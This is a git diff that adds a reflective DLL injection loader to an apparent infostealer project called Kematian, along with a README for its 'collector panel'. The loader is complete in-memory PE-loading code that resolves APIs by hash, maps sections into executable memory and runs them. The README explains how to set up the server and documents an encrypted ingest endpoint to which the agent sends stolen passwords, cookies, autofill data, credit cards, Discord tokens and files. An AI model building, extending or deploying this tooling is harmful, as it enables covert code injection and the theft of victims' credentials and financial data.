+// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#include "ReflectiveLoader.h" +//===============================================================================================// +// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value +HINSTANCE hAppInstance = NULL; +// Store the parameter passed to ReflectiveLoader so DllMain can access it +LPVOID g_lpReflectiveParameter = NULL; +//===============================================================================================// +#ifdef _MSC_VER +#pragma intrinsic(_ReturnAddress) +#define RDI_NOINLINE __declspec(noinline) +#else +#define RDI_NOINLINE __attribute__((noinline)) +#endif + +// This function can not be inlined by the compiler or we will not get the address we expect. Ideally +// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of +// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics +// available (and no inline asm available under x64). +RDI_NOINLINE ULONG_PTR caller(VOID) +{ +#ifdef _MSC_VER + return (ULONG_PTR)_ReturnAddress(); +#elif defined(__GNUC__) || defined(__clang__) + // For MinGW/Clang, use GCC builtins and extract helper for target-specific safety. + return (ULONG_PTR)__builtin_extract_return_addr(__builtin_return_address(0)); +#else + return 0; +#endif +} +//===============================================================================================// + +// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN, +// otherwise the DllMain at the end of this file will be used. + +// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR, +// otherwise it is assumed you are calling the ReflectiveLoader via a stub. + +// This is our position independent reflective DLL loader/injector +#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter) +#else +DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID) +#endif +{ + // the functions we need + LOADLIBRARYA pLoadLibraryA = NULL; + GETPROCADDRESS pGetProcAddress = NULL; + VIRTUALALLOC pVirtualAlloc = NULL; + NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL; + + USHORT usCounter; + + // the initial location of this image in memory + ULONG_PTR uiLibraryAddress; + // the kernels base address and later this images newly loaded base address + ULONG_PTR uiBaseAddress; + + // variables for processing the kernels export table + ULONG_PTR uiAddressArray; + ULONG_PTR uiNameArray; + ULONG_PTR uiExportDir; + ULONG_PTR uiNameOrdinals; + DWORD dwHashValue; + + // variables for loading this image + ULONG_PTR uiHeaderValue; + ULONG_PTR uiValueA; + ULONG_PTR uiValueB; + ULONG_PTR uiValueC; + ULONG_PTR uiValueD; + ULONG_PTR uiValueE; + + // STEP 0: calculate our images current base address + + // we will start searching backwards from our callers return address. + uiLibraryAddress = caller(); + + // loop through memory backwards searching for our images base address + // we dont need SEH style search as we shouldnt generate any access violations with this + while (TRUE) + { + if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE) + { + uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), + // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. + if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024) + { + uiHeaderValue += uiLibraryAddress; + // break if we have found a valid MZ/PE header + if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE) + break; + } + } + uiLibraryAddress--; + } + + // STEP 1: process the kernels exports for the functions our loader needs... + + // get the Process Enviroment Block +#ifdef WIN_X64 + uiBaseAddress = __readgsqword(0x60); +#else +#ifdef WIN_X86 + uiBaseAddress = __readfsdword(0x30); +#else WIN_ARM + uiBaseAddress = *(DWORD*)((BYTE*)_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0x30); +#endif +#endif + + // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx + uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr; + + // get the first entry of the InMemoryOrder module list + uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; + while (uiValueA) + { + // get pointer to current modules name (unicode string) + uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; + // set bCounter to the length for the loop + usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; + // clear uiValueC which will store the hash of the module name + uiValueC = 0; + + // compute the hash of the module name... + do + { + uiValueC = ror((DWORD)uiValueC); + // normalize to uppercase if the madule name is in lowercase + if (*((BYTE*)uiValueB) >= 'a') + uiValueC += *((BYTE*)uiValueB) - 0x20; + else + uiValueC += *((BYTE*)uiValueB); + uiValueB++; + } while (--usCounter); + + // compare the hash with that of kernel32.dll + if ((DWORD)uiValueC == KERNEL32DLL_HASH) + { + // get this modules base address + uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; + + // get the VA of the modules NT Header + uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; + + // get the VA of the export directory + uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress); + + // get the VA for the array of name pointers + uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames); + + // get the VA for the array of name ordinals + uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals); + + usCounter = 3; + + // loop while we still have imports to find + while (usCounter > 0) + { + // compute the hash values for this function name + dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray))); + + // if we have found a function we want we get its virtual address + if (dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH) + { + // get the VA for the array of addresses + uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions); + + // use this functions name ordinal as an index into the array of name pointers + uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD)); + + // store this functions VA + if (dwHashValue == LOADLIBRARYA_HASH) + pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray)); + else if (dwHashValue == GETPROCADDRESS_HASH) + pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray)); + else if (dwHashValue == VIRTUALALLOC_HASH) + pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_32(uiAddressArray)); + + // decrement our counter + usCounter--; + } + + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + } + else if ((DWORD)uiValueC == NTDLLDLL_HASH) + { + // get this modules base address + uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; + + // get the VA of the modules NT Header + uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; + + // get the VA of the export directory + uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress); + + // get the VA for the array of name pointers + uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames); + + // get the VA for the array of name ordinals + uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals); + + usCounter = 1; + + // loop while we still have imports to find + while (usCounter > 0) + { + // compute the hash values for this function name + dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray))); + + // if we have found a function we want we get its virtual address + if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH) + { + // get the VA for the array of addresses + uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions); + + // use this functions name ordinal as an index into the array of name pointers + uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD)); + + // store this functions VA + if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH) + pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)(uiBaseAddress + DEREF_32(uiAddressArray)); + + // decrement our counter + usCounter--; + } + + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + } + + // we stop searching when we have found everything we need. + if (pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache) + break; + + // get the next entry + uiValueA = DEREF(uiValueA); + } + + // STEP 2: load our image into a new permanent location in memory... + + // get the VA of the NT Header for the PE to be loaded + uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + + // allocate all the memory for the DLL to be loaded into. we can load at any address because we will + // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. + uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + + // we must now copy over the headers + uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; + uiValueB = uiLibraryAddress; + uiValueC = uiBaseAddress; + + while (uiValueA--) + *(BYTE*)uiValueC++ = *(BYTE*)uiValueB++; + + // STEP 3: load in all of our sections... + + // uiValueA = the VA of the first section + uiValueA = ((ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader); + + // itterate through all sections, loading them into memory. + uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; + while (uiValueE--) + { + // uiValueB is the VA for this section + uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress); + + // uiValueC if the VA for this sections data + uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData); + + // copy the section over + uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; + + while (uiValueD--) + *(BYTE*)uiValueB++ = *(BYTE*)uiValueC++; + + // get the VA of the next section + uiValueA += sizeof(IMAGE_SECTION_HEADER); + } + + // STEP 4: process our images import table... + + // uiValueB = the address of the import directory + uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; + + // we assume their is an import table to process + // uiValueC is the first entry in the import table + uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress); + + // itterate through all imports + while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name) + { + // use LoadLibraryA to load the imported module into memory + uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)); + + // uiValueD = VA of the OriginalFirstThunk + uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk); + + // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) + uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk); + + // itterate through all imported functions, importing by ordinal if no name present + while (DEREF(uiValueA)) + { + // sanity check uiValueD as some compilers only import by FirstThunk + if (uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG) + { + // get the VA of the modules NT Header + uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; + + // get the VA of the export directory + uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress); + + // get the VA for the array of addresses + uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions); + + // use the import ordinal (- export ordinal base) as an index into the array of addresses + uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD)); + + // patch in the address for this imported function + DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray)); + } + else + { + // get the VA of this functions import by name struct + uiValueB = (uiBaseAddress + DEREF(uiValueA)); + + // use GetProcAddress and patch in the address for this imported function + DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name); + } + // get the next imported function + uiValueA += sizeof(ULONG_PTR); + if (uiValueD) + uiValueD += sizeof(ULONG_PTR); + } + + // get the next import + uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR); + } + + // STEP 5: process all of our images relocations... + + // calculate the base address delta and perform relocations (even if we load at desired image base) + uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; + + // uiValueB = the address of the relocation directory + uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; + + // check if their are any relocations present + if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size) + { + // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) + uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress); + + // and we itterate through all entries... + while (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock) + { + // uiValueA = the VA for this relocation block + uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress); + + // uiValueB = number of entries in this relocation block + uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC); + + // uiValueD is now the first entry in the current relocation block + uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION); + + // we itterate through all the entries in the current block... + while (uiValueB--) + { + // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. + // we dont use a switch statement to avoid the compiler building a jump table + // which would not be very position independent! + if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64) + *(ULONG_PTR*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; + else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW) + *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; +#ifdef WIN_ARM + // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem. + else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T) + { + register DWORD dwInstruction; + register DWORD dwAddress; + register WORD wImm; + // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word) + dwInstruction = *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)); + // flip the words to get the instruction as expected + dwInstruction = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction)); + // sanity chack we are processing a MOV instruction... + if ((dwInstruction & ARM_MOV_MASK) == ARM_MOVT) + { + // pull out the encoded 16bit value (the high portion of the address-to-relocate) + wImm = (WORD)(dwInstruction & 0x000000FF); + wImm |= (WORD)((dwInstruction & 0x00007000) >> 4); + wImm |= (WORD)((dwInstruction & 0x04000000) >> 15); + wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4); + // apply the relocation to the target address + dwAddress = ((WORD)HIWORD(uiLibraryAddress) + wImm) & 0xFFFF; + // now create a new instruction with the same opcode and register param. + dwInstruction = (DWORD)(dwInstruction & ARM_MOV_MASK2); + // patch in the relocated address... + dwInstruction |= (DWORD)(dwAddress & 0x00FF); + dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4; + dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15; + dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4; + // now flip the instructions words and patch back into the code... + *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)) = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction)); + } + } +#endif + else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH) + *(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); + else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW) + *(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); + + // get the next entry in the current relocation block + uiValueD += sizeof(IMAGE_RELOC); + } + + // get the next entry in the relocation directory + uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; + } + } + + // STEP 6: call our images entry point + + // uiValueA = the VA of our newly loaded DLL/EXE's entry point + uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint); + + // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. + pNtFlushInstructionCache((HANDLE)-1, NULL, 0); + + // call our respective entry point, fudging our hInstance value +#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR + // Store the parameter globally so DllMain can access it + g_lpReflectiveParameter = lpParameter; + // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) + ((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter); +#else + // if we are injecting an DLL via a stub we call DllMain with no parameter + ((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL); +#endif + + // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed. + return uiValueA; +} +//===============================================================================================// +#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN + +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) +{ + BOOL bReturnValue = TRUE; + switch (dwReason) + { + case DLL_QUERY_HMODULE: + if (lpReserved != NULL) + *(HMODULE*)lpReserved = hAppInstance; + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +} + +#endif +//===============================================================================================// diff --git a/Kematian-Standalone/vendor/injection/ReflectiveLoader.h b/Kematian-Standalone/vendor/injection/ReflectiveLoader.h new file mode 100644 index 0000000..3e13533 --- /dev/null +++ b/Kematian-Standalone/vendor/injection/ReflectiveLoader.h @@ -0,0 +1,215 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H +#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include +#include + +#ifdef _MSC_VER +#include +#else +// MinGW/GCC: _rotr lives in , __readgsqword in +#include +#include +#endif + +#include "ReflectiveDLLInjection.h" + +typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR); +typedef FARPROC(WINAPI* GETPROCADDRESS)(HMODULE, LPCSTR); +typedef LPVOID(WINAPI* VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD); +typedef DWORD(NTAPI* NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG); + +#define KERNEL32DLL_HASH 0x6A4ABC5B +#define NTDLLDLL_HASH 0x3CFA685D + +#define LOADLIBRARYA_HASH 0xEC0E4E8E +#define GETPROCADDRESS_HASH 0x7C0DFCAA +#define VIRTUALALLOC_HASH 0x91AFCA54 +#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8 + +#define IMAGE_REL_BASED_ARM_MOV32A 5 +#define IMAGE_REL_BASED_ARM_MOV32T 7 + +#define ARM_MOV_MASK (DWORD)(0xFBF08000) +#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00) +#define ARM_MOVW 0xF2400000 +#define ARM_MOVT 0xF2C00000 + +#define HASH_KEY 13 +//===============================================================================================// +#ifdef _MSC_VER +#pragma intrinsic( _rotr ) +#define RDI_INLINE __forceinline +#else +#define RDI_INLINE static inline __attribute__((always_inline)) +#endif + +RDI_INLINE DWORD ror(DWORD d) +{ + return _rotr(d, HASH_KEY); +} + +RDI_INLINE DWORD hash(char* c) +{ + register DWORD h = 0; + do + { + h = ror(h); + h += *c; + } while (*++c); + + return h; +} +//===============================================================================================// +typedef struct _UNICODE_STR +{ + USHORT Length; + USHORT MaximumLength; + PWSTR pBuffer; +} UNICODE_STR, * PUNICODE_STR; + +// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY +//__declspec( align(8) ) +typedef struct _LDR_DATA_TABLE_ENTRY +{ + //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STR FullDllName; + UNICODE_STR BaseDllName; + ULONG Flags; + SHORT LoadCount; + SHORT TlsIndex; + LIST_ENTRY HashTableEntry; + ULONG TimeDateStamp; +} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; + +// WinDbg> dt -v ntdll!_PEB_LDR_DATA +typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes +{ + DWORD dwLength; + DWORD dwInitialized; + LPVOID lpSsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + LPVOID lpEntryInProgress; +} PEB_LDR_DATA, * PPEB_LDR_DATA; + +// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK +typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes +{ + struct _PEB_FREE_BLOCK* pNext; + DWORD dwSize; +} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; + +// struct _PEB is defined in Winternl.h but it is incomplete +// WinDbg> dt -v ntdll!_PEB +typedef struct __PEB // 65 elements, 0x210 bytes +{ + BYTE bInheritedAddressSpace; + BYTE bReadImageFileExecOptions; + BYTE bBeingDebugged; + BYTE bSpareBool; + LPVOID lpMutant; + LPVOID lpImageBaseAddress; + PPEB_LDR_DATA pLdr; + LPVOID lpProcessParameters; + LPVOID lpSubSystemData; + LPVOID lpProcessHeap; + PRTL_CRITICAL_SECTION pFastPebLock; + LPVOID lpFastPebLockRoutine; + LPVOID lpFastPebUnlockRoutine; + DWORD dwEnvironmentUpdateCount; + LPVOID lpKernelCallbackTable; + DWORD dwSystemReserved; + DWORD dwAtlThunkSListPtr32; + PPEB_FREE_BLOCK pFreeList; + DWORD dwTlsExpansionCounter; + LPVOID lpTlsBitmap; + DWORD dwTlsBitmapBits[2]; + LPVOID lpReadOnlySharedMemoryBase; + LPVOID lpReadOnlySharedMemoryHeap; + LPVOID lpReadOnlyStaticServerData; + LPVOID lpAnsiCodePageData; + LPVOID lpOemCodePageData; + LPVOID lpUnicodeCaseTableData; + DWORD dwNumberOfProcessors; + DWORD dwNtGlobalFlag; + LARGE_INTEGER liCriticalSectionTimeout; + DWORD dwHeapSegmentReserve; + DWORD dwHeapSegmentCommit; + DWORD dwHeapDeCommitTotalFreeThreshold; + DWORD dwHeapDeCommitFreeBlockThreshold; + DWORD dwNumberOfHeaps; + DWORD dwMaximumNumberOfHeaps; + LPVOID lpProcessHeaps; + LPVOID lpGdiSharedHandleTable; + LPVOID lpProcessStarterHelper; + DWORD dwGdiDCAttributeList; + LPVOID lpLoaderLock; + DWORD dwOSMajorVersion; + DWORD dwOSMinorVersion; + WORD wOSBuildNumber; + WORD wOSCSDVersion; + DWORD dwOSPlatformId; + DWORD dwImageSubsystem; + DWORD dwImageSubsystemMajorVersion; + DWORD dwImageSubsystemMinorVersion; + DWORD dwImageProcessAffinityMask; + DWORD dwGdiHandleBuffer[34]; + LPVOID lpPostProcessInitRoutine; + LPVOID lpTlsExpansionBitmap; + DWORD dwTlsExpansionBitmapBits[32]; + DWORD dwSessionId; + ULARGE_INTEGER liAppCompatFlags; + ULARGE_INTEGER liAppCompatFlagsUser; + LPVOID lppShimData; + LPVOID lpAppCompatInfo; + UNICODE_STR usCSDVersion; + LPVOID lpActivationContextData; + LPVOID lpProcessAssemblyStorageMap; + LPVOID lpSystemDefaultActivationContextData; + LPVOID lpSystemAssemblyStorageMap; + DWORD dwMinimumStackCommit; +} _PEB, * _PPEB; + +typedef struct +{ + WORD offset : 12; + WORD type : 4; +} IMAGE_RELOC, * PIMAGE_RELOC; +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/panel/README.md b/panel/README.md new file mode 100644 index 0000000..5e0c97e --- /dev/null +++ b/panel/README.md @@ -0,0 +1,159 @@ +# Kematian Collector Panel + +Admin web dashboard + E2EE JSON ingest for the kematian-standalone agent. + +## Setup + +```bash +cd panel +pip install -r requirements.txt +python app.py +``` + +Open `http://localhost:5000/setup` to create the admin account, then log in. + +Configure via env before running: + +| Env var | Default | Purpose | +|---------------------|------------------------------------------|----------------------------------| +| `PANEL_SECRET` | `kematian-secret-CHANGE-ME` | Flask session signing key | +| `PANEL_INGEST_KEY` | `CHANGE-ME` | Bearer token the agent must send | +| `PANEL_PORT` | `5000` | Bind port | + +**Change both secrets before exposing the panel.** + +## E2EE + +Agent → panel traffic is end-to-end encrypted. On first run the panel generates +an X25519 keypair at `panel/kematian_e2ee.key`. Its **private key** never leaves +the panel; only its **public key** is needed by the agent. + +**The agent fetches that public key itself at runtime** — so at build time you +only set the endpoint + ingest key. You never copy a key manually. The panel +serves it over: + +```http +GET /e2ee/pub +Authorization: Bearer +``` + +Wire scheme (agent encrypts, panel decrypts): +`X25519 ECDH (ephemeral) → HKDF-SHA256 → ChaCha20-Poly1305`. +Only the panel private key can decrypt the payload. + +## Ingest API + +The agent encrypts its `CollectionResult` and POSTs `{"enc": ""}` +to `/api/ingest` with `Authorization: Bearer `. The panel +decrypts and splits every category into its own SQLite table. + +```http +POST /api/ingest +Authorization: Bearer +Content-Type: application/json + +{ "enc": "base64..." } +``` + +Valid top-level payload keys (inside the encrypted JSON) mirror the Go struct: +`clientId, host, passwords, cookies, autofill, history, bookmarks, creditCards, +discordTokens, files, 